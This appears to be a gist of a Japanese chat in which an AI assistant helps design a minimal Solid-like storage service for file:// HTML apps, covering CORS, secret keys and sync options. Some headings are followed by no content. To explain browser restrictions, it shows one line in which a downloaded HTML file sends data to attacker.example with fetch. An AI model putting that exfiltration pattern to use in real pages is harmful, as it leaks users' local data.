gists

Solidのストレージ思想を、もっとかんたんに実現したい。このようなストレージサービスを A とする。 たとえば次のようにしてかんたんにアプリをつくれる。

これだけで todo.html はデータの扱い含めて動作する。todo.html はローカルでブラウザで開いても動くし、github pages など静的サイトでも動く。

可能です。Solidの「アプリとストレージの分離」のエッセンスだけを残して、もっと単純なストレージサービスAとして再設計すると、提示の体験(ローカルHTMLでもGitHub Pagesでも動く、DB不要、保存先は“storage name + secret key”だけ)は作れます。

ただし成立させるために、何を“分離”として保証するかと、ブラウザ制約(CORS・秘密鍵の扱い)を最初に決める必要があります。以下、実現のための最小設計案を具体化します。


1) あなたの案の本質(Solid思想のミニマム版)

Solidから持ってくる要素

Solidから“省く/簡略化する”要素

これは“ログインのないPod”みたいなものになります。用途(個人用、少人数共有、プロトタイピング)ならかなり現実的です。


2) 最小アーキテクチャ(サービスAが提供するもの)

Aが持つ概念

Aが提供するAPI(例)

ブラウザから直接叩けるように CORS必須

認可は例えば:

データの置き方(Todoの例)


3) “todo.htmlをローカルで開いても動く”ための条件

ローカル file:// から外部APIへfetchするのは、ブラウザによって制約が厳しいです(特にChrome系)。

実現方法は3つあります:

  1. 推奨: todo.html をローカルでも http://localhost で配信して開く
    • python -m http.server 等でOK
    • 「静的でよい」という条件は維持できます(サーバーは“ホスティング”であってDBではない)
  2. 許容: ブラウザ拡張や起動フラグで制約を緩める(一般配布には不向き)

  3. A側の工夫: todo.html をAのドメインから開く(=Aがホスティングも兼ねる)
    • ただしGitHub Pagesでも動かしたいなら、結局CORS対応は必要

結論:GitHub Pages等の静的ホスティングで動くは比較的簡単。file://直開き対応は“追加条件”になります。


4) Secret key方式で避けられない課題(重要)

あなたの方式は便利ですが、SolidがわざわざOIDC/同意/委譲を入れている理由でもある落とし穴があります。

(A) 鍵をフロントに置く=漏洩リスク

(B) “同意”や“アプリ単位の権限管理”ができない


5) それでも「かんたん」を最大化する具体案(おすすめ構成)

あなたの要件に沿って、体験が良くて実装も軽い落としどころ:

提案:Aは「storage作成」+「トークン発行」だけ提供

これで「Solidっぽい分離」と「現実的な安全性」のバランスが取れます。


6) 仕様を詰めるための質問(これで設計が確定します)

  1. file://直開きは必須ですか?(必須なら対応策が変わります)
  2. データは 公開/非公開どちら想定ですか?(非公開なら鍵管理がより重要)
  3. Aは「単なるストレージ(S3的)」ですか、それとも「ユーザー管理・トークン発行UI」も持てますか?
  4. 将来、他アプリとの相互運用も狙いますか?(JSONスキーマ固定にする、など)

この4点が分かれば、API設計(エンドポイント、トークン形式、CORS、データモデル)を“最小で動く”ところまで具体的に提案できます。

ファイル直開きは必須です。デスクトップアプリを、html で実装した + データを A に保存するものと捉えてください。

可能です。ただし「ファイル直開き(file://)必須」という条件が付くと、ブラウザのセキュリティ制約のせいで、単純な fetch("https://A/...") では動かない(または環境依存になる)点だけは避けられません。なので、設計は次のどちらかになります。


結論:file://必須で成立する構成は2択

選択肢A(推奨):Aへは“直接HTTP”せず、OS経由で同期する

Solidの思想(アプリとストレージ分離)も保てます:アプリはローカル静的HTML、データはA、同期レイヤーだけ別。

体験:「HTMLをダブルクリックで起動 → 普通に使える → 裏でAに同期」

最小仕様(例)

この方式なら、Aは普通のHTTPストレージでOK(CORSすら不要な場合もある:同期エージェントがサーバーサイドHTTPを叩くため)。


選択肢B(“HTMLだけで完結”に寄せる):Aを「専用プロトコルハンドラ」または「拡張」で橋渡しする

file://から外部に安全にアクセスできないなら、ブラウザの外側にブリッジを作ります。

代表例:

1) カスタムURLスキーム(例:a://storageName/path?...

2) ブラウザ拡張(Chrome Extension / Firefox Add-on)

3) (限定的)CORS + file origin許可に依存


なぜ「HTMLだけで、file直開き + Aへfetch」が難しいのか


あなたの要件に一番近いおすすめ(現実解)

「デスクトップアプリをHTMLで実装し、データをAに保存」という捉え方なら、

が、実装難度と運用の安定性のバランスが一番良いです。Electronのような巨大ランタイム無しでも、Go/Rustで小さい同期バイナリを同梱できます。


確認したい2点(ここで方式が確定します)

1) 「HTML“だけ”で完結(外部バイナリ/拡張なし)」が必須ですか?
2) オフラインでも使える必要はありますか?(あるならローカル正本+同期が最適)

この2点が分かれば、AのAPI(ETag/差分/暗号化の要否)と、最小の同期方式(片方向/双方向、衝突解決)まで具体案を出します。

file:// プロトコルってそんな CORS 厳しいんですか?なぜですか。

厳しいです。というより CORSというより「file:// は Web の“オリジン”モデルにうまく乗らないので、ブラウザが危険側に倒して制限する」のが本質です。

何が起きているか(CORS以前の話)

ブラウザは基本的に「同一オリジンポリシー(SOP)」で、ある“出自(origin)”のページが別の“出自”へアクセスできるかを管理します。

このため多くのブラウザは file://opaque origin(不透明オリジン)ユニークオリジン 相当として扱い、通常のWebページより強い制限をかけます。

なぜ制限が強いのか(攻撃シナリオ)

file:// はユーザーのローカルファイルに直接触れられる入口なので、もしネットワークアクセスが緩いと危険が増えます。

典型的にブラウザが避けたいのは次です:

  1. ユーザーが「ダウンロードしたHTML(例: 請求書.html)」をダブルクリックで開く
  2. そのHTMLが裏で fetch("https://attacker.example/collect", { body: ... }) のように外部送信
  3. さらにローカルの別ファイル内容(設定ファイル、別ディレクトリのデータ等)を何らかの手段で読み出せると、ローカル情報の持ち出しになる

実際には「ローカルファイルをJSで自由に読む」こと自体は多くのブラウザで禁止/制限されていますが、歴史的経緯や実装差、周辺API(画像読み込み・リンク辿り・例外的に許可されるケース等)を踏み台にした事故が起きやすいので、file:// からのネットワーク通信や他オリジン連携を保守的に絞る実装になりがちです。

CORS的にはどうなる?

CORSは「あるorigin(例 https://app.example)から別origin(例 https://api.example)にXHR/fetchする時、相手が許可したら読める」という仕組みです。

でも file:// の場合:

つまり 「AがCORS許可すればOK」になりにくく、ブラウザ実装・設定依存になりやすいのが問題です。

まとめ(実務的な結論)

もし「あなたの環境(対象ブラウザ/OS)ではどこまで可能か」を確定したいなら、ターゲット(Chrome/Edge/Firefox/Safari、OS)を教えてください。その組み合わせで現実に通るパターン(Origin:null の扱い、必要ヘッダ、失敗しやすい条件)を具体的に整理できます。